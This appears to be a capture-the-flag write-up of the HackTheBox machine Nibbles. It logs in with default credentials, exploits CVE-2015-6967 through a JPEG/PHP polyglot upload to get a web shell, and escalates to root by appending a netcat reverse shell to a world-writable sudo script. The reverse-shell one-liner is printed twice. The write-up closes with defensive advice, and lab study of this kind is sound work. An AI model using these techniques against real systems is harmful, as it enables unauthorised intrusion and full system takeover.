# OSCP Prep #4 
Nibbles Write-Up


# 1\. Target Overview

*   **Machine Name:** Nibbles
    
*   **Platform:** HackTheBox
    
*   **Operating System:** Linux
    

In this walkthrough, I document my attack path against the Nibbles machine. The goal is to enumerate available services, identify an attack vector, gain initial access, and ultimately escalate privileges to obtain full system compromise.

### Tools Used

**Rustscan**  
Used for fast initial port discovery before deeper enumeration.

**Nmap**  
Used indirectly through Rustscan to identify services and versions.

**FFUF**  
Used for directory brute forcing to discover hidden web endpoints.

**Firefox**  
Used for manual browsing and inspecting web application source code.

**Burp Suite**  
Used to intercept and modify HTTP requests in order to bypass file upload filtering and craft the polyglot web shell.

**Netcat**  
Used to establish both the initial reverse shell and the final root shell.

**Python3 (PTY Module)**  
Used to upgrade the reverse shell into a fully interactive terminal.

* * *

# 2\. Enumeration

## Nmap Scan

As always, I began the engagement with a port scan to identify exposed services on the target machine.

```plaintext
rustscan -a 10.129.4.207 -b 7000
```

The scan revealed only two open ports:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8ef7df39-7970-415f-8473-2e1e8e0bafc7.png align="center")

From this scan I learned:

*   **Port 22 (SSH)** is open and running OpenSSH.
    
*   **Port 80 (HTTP)** is running an **Apache 2.4.18 web server**.
    

This gives the machine a **very small attack surface**, which simplifies the initial enumeration strategy.

Because **port 80 is hosting a web server**, the most logical next step is to investigate the web application for potential vulnerabilities such as:

*   hidden directories
    
*   exposed files
    
*   login panels
    
*   CMS platforms
    
*   file upload functionality
    

Although SSH is available, attempting to brute-force it would be inefficient and noisy without valid usernames or password hints. Therefore, I prioritized **enumerating the web server on port 80** as the primary attack vector.

## Web Enumeration

To begin enumerating the web server, I started a **directory brute force scan** using ffuf while simultaneously browsing the application manually.

```plaintext
ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
```

Running automated directory discovery in the background while manually inspecting the site is a useful workflow because it allows hidden directories to be discovered while I analyze the application’s visible behavior.

### Inspecting the Web Application

Navigating to the site in the browser revealed a very minimal page.

The page simply displayed:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/47e60d05-39b9-4bb7-91c8-bd22a5e653a7.png align="center")

There appeared to be **no visible functionality**, links, or interactive components.

However, viewing the **page source** revealed something more interesting.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b0930d0f-9d0c-4ac3-85a7-84e6fbff6e10.png align="center")

Inside the HTML source was a **comment referencing a directory called** `/nibbleblog/`.

Even though the comment claims that nothing interesting exists there, comments like this often reveal **hidden application paths** and are a strong indicator that a web application or CMS may be located in that directory.

This immediately became the next target for investigation.

### **Discovering the Blog Application**

Browsing to the discovered path revealed a blog-style website.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4839956a-6137-425a-9bdd-035c94f300b8.png align="center")

The page appeared to be a blog that was likely still under development. The site contained several typical CMS elements including:

*   **Categories**
    
*   **Pages**
    
*   **Latest Posts**
    
*   **Navigation links**
    

At the bottom of the page was an important piece of information:

```plaintext
Powered by Nibbleblog
```

This revealed that the site is running the **Nibbleblog CMS**.

Identifying the underlying CMS is extremely useful during enumeration because it allows me to begin researching:

*   known vulnerabilities
    
*   default login locations
    
*   admin panels
    
*   publicly available exploits
    

At this stage, confirming the application type opened the door for CMS-specific enumeration and vulnerability research.

## Enumerating the Blog Directory

I clicked around and all the links seemed to be dead and the page offered no interactivity. Because the application did not expose much functionality through the interface, I performed additional directory enumeration directly against the **/nibbleblog** path to better understand the full attack surface.

This revealed several interesting directories and files:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/02e05caa-07dd-45b5-9cdb-3477e1ca8cdb.png align="center")

These results confirm that the application is a **fully deployed CMS installation**, exposing several components that could potentially be leveraged during exploitation:

*   **admin / admin.php** – likely the administrative login panel
    
*   **content** – often contains uploaded files or CMS data
    
*   **plugins** – plugins frequently introduce vulnerabilities
    
*   **themes** – themes sometimes allow template injection or file upload abuse
    
*   **install.php** – occasionally exploitable if installation protections are incomplete
    

Another important observation is that several files returned by the scan use the `.php` **extension**, indicating that the server-side language powering the application is **PHP**.

This is useful information because many web exploitation techniques—particularly **web shell uploads or remote code execution attacks**—often rely on uploading or executing **PHP payloads** on the target system.

Knowing the application runs PHP helps guide future exploitation attempts, especially when evaluating features such as:

*   plugin upload functionality
    
*   theme editing interfaces
    
*   file upload endpoints
    

## Version Disclosure

Before attempting any exploitation, I continued analyzing the discovered endpoints to gather as much information about the application as possible. Identifying the **exact version of the CMS** can be extremely valuable because it allows me to search for **known vulnerabilities or public exploits** targeting that specific release.

One of the files discovered during directory enumeration was:

```plaintext
/nibbleblog/README
```

Navigating to this endpoint revealed the following information:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/53d517ed-6aad-4c14-b7f0-02b89d9bb6e7.png align="center")

This file exposed several useful details about the application, most importantly the **exact CMS version**:

```plaintext
Nibbleblog v4.0.3
```

Version disclosure like this is extremely valuable during enumeration because it allows me to begin researching **known vulnerabilities affecting that specific version of the software**.

## Investigating the Admin Panel

During directory enumeration, I discovered an administrative endpoint:

```plaintext
/nibbleblog/admin.php
```

Navigating to this page presented a login form for the **Nibbleblog administrative interface**.

The page displayed a standard authentication portal requiring a username and password.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/32d9c323-e032-449d-bfba-54b2faab6e0e.png align="center")

At this point, administrative login panels are extremely valuable targets because they often allow:

*   authentication bypass
    
*   default credentials
    
*   brute force attacks
    
*   functionality that leads to file upload or code execution
    

* * *

## Testing for SQL Injection

Before attempting credential attacks, I briefly tested the login form for **SQL injection vulnerabilities**. However, these attempts were unsuccessful, indicating that the login form was not trivially injectable.

Since this avenue did not immediately yield results, I shifted my focus to checking for **default credentials**.

* * *

## Testing Default Credentials

Many CMS platforms ship with **default administrator credentials**, and developers frequently forget to change them during deployment.

After searching for common credentials used by **Nibbleblog**, I discovered a commonly documented default credential pair:

```plaintext
admin : nibbles
```

I attempted to authenticate using these credentials and successfully logged into the administrative dashboard.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5b64ab07-3ccf-4f00-8e0c-c5273c017dbf.png align="center")

* * *

## Admin Dashboard Access

After authenticating, I gained access to the **Nibbleblog administrative control panel**, which exposed several management features including:

*   Publish content
    
*   Manage comments
    
*   Configure settings
    
*   Manage themes
    
*   Manage plugins
    

Gaining administrative access is a critical milestone because CMS admin panels often allow functionality such as:

*   plugin uploads
    
*   theme modifications
    
*   file uploads
    

# 3\. Exploitation

## Identifying the Vulnerability

After obtaining administrative access to the **Nibbleblog dashboard** and identifying the application version as **Nibbleblog v4.0.3**, I began researching known vulnerabilities affecting this version of the CMS.

This research revealed **CVE-2015-6967**, an **arbitrary file upload vulnerability** affecting Nibbleblog versions prior to **4.0.5**.

* * *

## CVE-2015-6967 — Arbitrary File Upload

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9c91399d-73b9-4374-b6fb-95936b2625ef.png align="center")

The vulnerability exists within the **My Image plugin** included in Nibbleblog. The plugin allows administrators to upload images, but the upload functionality does not properly validate file extensions.

Because of this, an attacker with administrative access can upload a file containing **executable code**, such as a **PHP reverse shell**.

Once uploaded, the file is stored inside the following directory:

```plaintext
/content/private/plugins/my_image/
```

Since the application runs on **PHP**, uploading a malicious `.php` file allows the server to execute attacker-controlled code when the file is accessed through the browser.

The attack process therefore becomes straightforward:

1.  Upload a **malicious PHP payload**
    
2.  Access the uploaded file through the browser
    
3.  Execute commands on the server
    

Because I already had administrative access to the CMS, this vulnerability provided a clear path to **remote code execution**.

## Exploiting the My Image Plugin Upload

Based on the previously identified vulnerability **CVE-2015-6967**, the goal was to abuse the **My Image plugin upload functionality** to achieve **remote code execution**.

Before attempting to upload a malicious payload, I first wanted to understand **how the application handles file uploads**.

### Uploading a Valid Image

When dealing with file upload vulnerabilities, it is often helpful to begin by uploading a **legitimate file**. This helps identify:

*   what file types the server accepts
    
*   where uploaded files are stored
    
*   how the application names uploaded files
    

Using the **My Image plugin**, I uploaded a simple image file.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b1c11d4b-caf6-45e1-ad32-4fddec1dded5.png align="center")

The upload succeeded, and the file appeared in the following directory:

```plaintext
/nibbleblog/content/private/plugins/my_image/
```

This confirmed that uploaded files were being stored directly inside a **web-accessible directory**, which is ideal for exploitation.

* * *

## Attempting to Upload a Web Shell

Next, I attempted to upload a simple **PHP web shell**.

The payload I used was a minimal command execution shell:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/11fff6bb-d7fb-44e7-a746-68a18744e9ef.png align="center")

However, attempting to upload the `.php` file directly failed. This indicated that the application was performing some type of **basic file type filtering**.

* * *

## Bypassing the File Upload Filter

To bypass this restriction, I used **Burp Suite** to intercept the upload request.

Instead of uploading a raw PHP file, I modified the request using a common upload bypass technique.

### Step 1 — Use a Valid Image as a Base

I first uploaded the valid image again and intercepted the request in Burp. This allowed me to inspect the **multipart form-data upload request**.

### Step 2 — Preserve Image Magic Bytes

To bypass the file validation, I left the **initial portion of the JPEG file data intact** so that the file would still appear to be a valid image based on its **magic bytes**.

### Step 3 — Insert the PHP Web Shell

After the initial image header data, I removed the rest of the image content and replaced it with my **PHP web shell code**.

### Step 4 — Change the File Extension

Finally, I modified the filename in the request so the uploaded file would have a `.php` **extension**, allowing the server to execute it.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3be80b05-e3da-4252-b92f-5a594b9dba30.png align="center")

Once the request was sent, the server responded with 200 ok.

indicating that the upload had been accepted.

* * *

## Achieving Remote Code Execution

After the upload completed successfully, I navigated to the plugin directory in the browser:

The malicious file appeared in the directory listing. Opening the file allowed me to interact with the web shell.

To confirm code execution, I issued the following command using the `cmd` query parameter:

The server responded with:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/6beb32f6-2bc2-48df-973a-5199c088479e.png align="center")

This confirmed that **remote code execution was successfully achieved** and that commands were executing as the **nibbler user**.

At this point, I had obtained **command execution on the target system**, which could now be leveraged to establish a more stable reverse shell.

## Obtaining a Reverse Shell

After confirming remote code execution through the uploaded web shell, the next step was to establish a more stable shell connection back to my attacking machine.

Earlier, I had verified command execution using:

```plaintext
?cmd=id
```

To obtain an interactive shell, I reused the same `cmd` **parameter** and replaced the command with a **Bash reverse shell payload**.

Since the command is being passed through a URL query string, it is important that the payload is **URL encoded** to ensure it is processed correctly by the server.

The request sent through Burp Suite looked like this:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/944c4293-2c4f-4407-bb04-e11ab6093b7f.png align="center")

This payload instructs the target system to initiate a reverse connection back to my attacking machine.

* * *

## Setting Up the Listener

Before sending the request, I set up a **Netcat listener** to receive the incoming shell.

```plaintext
nc -nvlp 9001
```

After sending the modified request, the server connected back to my listener and a shell was established.

Running `whoami` confirmed the context of the shell:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ac9e2c35-25ba-4c84-a90a-555d62ade503.png align="center")

This indicated that I had successfully obtained a shell as the nibbler user on the target system.

# 4\. Privilege Escalation

## Step 1 — Upgrading the Shell

After obtaining the reverse shell, the first step in my privilege escalation checklist is always to **upgrade the shell to a fully interactive TTY**.

Basic reverse shells often lack features such as:

*   proper terminal control
    
*   tab completion
    
*   command history
    
*   job control
    

Without upgrading the shell, performing enumeration and privilege escalation becomes significantly more difficult.

To spawn a proper interactive shell, I used Python’s **PTY module**:

```plaintext
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Once the shell was spawned, I suspended the connection using **CTRL+Z** to return to my attacking machine and adjusted the terminal settings.

```plaintext
stty raw -echo; fg
```

This restores proper terminal handling and returns control to the upgraded shell.

Next, I set the terminal type so programs would render correctly:

```plaintext
export TERM=xterm
```

Finally, I ensured the terminal dimensions matched my local terminal:

```plaintext
stty rows 45 cols 141
```

After completing these steps, the shell behaved like a normal interactive terminal, making further enumeration much easier.

## Step 2 — Identify Current User

Next, I confirmed which user the shell was running as.

```plaintext
whoami
```

Output:

```plaintext
nibbler
```

* * *

## Step 3 — Check User Privileges

I then checked the user's UID and group memberships.

```plaintext
id
```

Output:

```plaintext
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
```

This confirmed the shell was running as the **nibbler** user with no elevated privileges.

* * *

## Step 4 — Check Sudo Permissions

The next step in my enumeration checklist is to determine whether the current user has any **sudo privileges**.

```plaintext
sudo -l
```

The output revealed the following configuration:

```plaintext
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

This result immediately stood out.

The **nibbler user is allowed to execute a script as root without providing a password**.

```plaintext
/home/nibbler/personal/stuff/monitor.sh
```

Any time a user can run a script as root with NOPASSWD, it becomes a prime candidate for privilege escalation depending on how the script is implemented.

The next step was to inspect this script to determine whether it could be abused to obtain root access.

## Abusing monitor.sh

Earlier enumeration revealed that the nibbler user could run the following script as root:

```plaintext
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

Whenever a script can be executed as root without a password, it immediately becomes a prime candidate for privilege escalation. The next step was to inspect the permissions on the script.

```plaintext
ls -l monitor.sh
```

Output:

```plaintext
-rwxrwxrwx 1 nibbler nibbler 4096 Mar 13 02:45 monitor.sh
```

This revealed a critical misconfiguration: the script is **world-writable**.

Because the nibbler user can modify the script and also execute it with sudo, this allows an attacker to insert malicious code that will execute with **root privileges**.

* * *

## Injecting a Reverse Shell

To exploit this, I appended a reverse shell payload directly into the script.

```plaintext
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.123 9002 >/tmp/f" >> monitor.sh
```

A **FIFO-based Netcat shell** was used here because the default shell environment on the target system is `/bin/sh`, meaning the usual **bash reverse shell** would not function correctly.

This payload performs the following steps:

1.  Creates a named pipe in `/tmp`
    
2.  Uses `/bin/sh` to execute commands
    
3.  Pipes the output through Netcat back to the attacker
    
4.  Establishes a fully interactive shell
    

* * *

## Starting the Listener

Before executing the script, I started a Netcat listener on my attacking machine.

```plaintext
nc -nvlp 9002
```

* * *

## Executing the Script as Root

With the payload appended to the script, I executed it using the previously discovered sudo privilege.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/c3c66eda-202a-481a-b974-b79881d3dbc0.png align="center")

Because the script runs with **root privileges**, the injected payload also executed as root.

Shortly after running the command, the reverse shell connected back to my listener.

Running `whoami` confirmed full privilege escalation:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/fb1af5b3-bd7d-4dba-815d-03f0d55b1137.png align="center")

At this point, the machine was fully compromised with root access.

# 5\. Lessons Learned

**Default Credentials Remain Dangerous**  
The initial foothold was obtained by authenticating with the default credentials `admin:nibbles`. This highlights how frequently systems are deployed with default authentication still enabled, creating an immediate entry point for attackers.

**Understanding File Upload Filters Is Critical**  
The vulnerable My Image plugin attempted to filter uploads by validating that files appeared to be legitimate images. However, this filtering could be bypassed by manipulating the uploaded file so that it satisfied both the image validation logic and the PHP interpreter.

The key attacker takeaway is:

> You are not bypassing MIME validation — you are bypassing the parser used by the server.

In other words, the payload must satisfy **two interpreters simultaneously**:

*   the **image parser** used during upload validation
    
*   the **PHP interpreter** when the file is executed
    

This technique creates what is known as a polyglot file — a file that is valid under multiple parsers. By preserving the image magic bytes while embedding PHP code, the upload filter accepts the file while the web server later executes it as PHP.

**Server-Side File Storage Location Matters**  
Uploaded files were stored inside a **web-accessible directory**:

```plaintext
/content/private/plugins/my_image/
```

Because the directory allowed direct web access, uploaded files could be executed directly through the browser, enabling remote code execution.

**Shell Payload Compatibility Matters**  
  
During privilege escalation, the reverse shell needed to be compatible with the system’s available shell environment. In this case, the default shell was `/bin/sh`, meaning a typical bash reverse shell would not function properly.

Instead, a **FIFO-based Netcat shell** compatible with `/bin/sh` was required. This highlights the importance of understanding the **target execution environment** when choosing shell payloads.

* * *

# 6\. Defensive Insight

**Enforce Strict File Upload Validation**  
  
Applications should validate uploaded files using multiple layers of verification including:

*   MIME type validation
    
*   file extension filtering
    
*   file signature (magic byte) validation
    
*   server-side file renaming
    
*   storing uploads outside executable directories
    

Upload functionality should never allow files with executable extensions such as `.php` to be stored in locations where they can be executed by the web server.

**Avoid Dangerous Sudo Misconfigurations**  
  
Privilege escalation was possible because the user nibbler was allowed to execute a script as root without a password:

```plaintext
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
```

Additionally, the script itself was **world-writable**, allowing an attacker to inject malicious commands that would execute with root privileges.

Secure configurations should ensure that:

*   scripts executed with sudo are **owned by root**
    
*   scripts are **not writable by non-privileged users**
    
*   sudo privileges follow the **principle of least privilege**
    

# Useful Commands

* * *

**FFUF – Directory Enumeration**

Directory brute forcing was used to discover hidden endpoints on the web server. This revealed the `/nibbleblog` directory and later additional CMS directories that expanded the attack surface.

```plaintext
ffuf -u http://10.129.4.207/FUZZ -w /usr/share/wordlists/elite.txt
```

* * *

* * *

**Python PTY – Shell Upgrade**

Once a shell was obtained, Python’s PTY module was used to spawn a fully interactive bash shell.

```plaintext
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

The terminal was then stabilized using the following commands.

```plaintext
stty raw -echo; fg
export TERM=xterm
stty rows 45 cols 141
```

* * *

**Linux Enumeration Commands**

Basic enumeration commands were used to confirm the current user context and identify possible privilege escalation paths.

```plaintext
whoami
id
sudo -l
```

* * *

**Privilege Escalation Payload Injection**

The world-writable `monitor.sh` script was exploited by appending a FIFO-based Netcat reverse shell payload.

```plaintext
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.123 9002 >/tmp/f" >> monitor.sh
```
